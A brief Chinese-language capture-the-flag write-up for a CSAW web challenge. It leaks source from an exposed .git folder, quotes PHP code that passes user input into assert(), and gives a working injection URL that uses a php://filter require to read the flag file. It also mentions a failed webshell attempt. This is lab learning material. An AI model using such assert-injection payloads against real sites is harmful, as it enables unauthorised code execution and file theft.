题目描述
Hey, I made my first website today. It's pretty cool and web7.9.
http://web.chal.csaw.io:8000/
进去之后打开首页,在某一页找到
About
I wrote this website all by myself in under a week!
I used:
Git
PHP
Bootstrap
有git, 那就从.git入手,用工具下载到源码
发现有flag.php,但是里面是空的,应该是这个文件被修改过
在.git/logs/head中查看提交记录,只看到一次提交
大概git就到此为止了
于是看index.php,代码中关键的是下面这部分
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
开始一直没有找到突破点,
后来想到assert其实就是变相的eval,但是挂马一直连不上,纠结了很久
然后想到其实不用,可以用require + php伪协议直接拿到源码
遂构造url,获得flag
http://web.chal.csaw.io:8000/?page=sa' ,'a') && (require('php://filter/convert.base64-encode/resource=./templates/flag.php')); //
这里还遇到了一个坑
之前用require_once一直拿不到代码,改成require后就可以了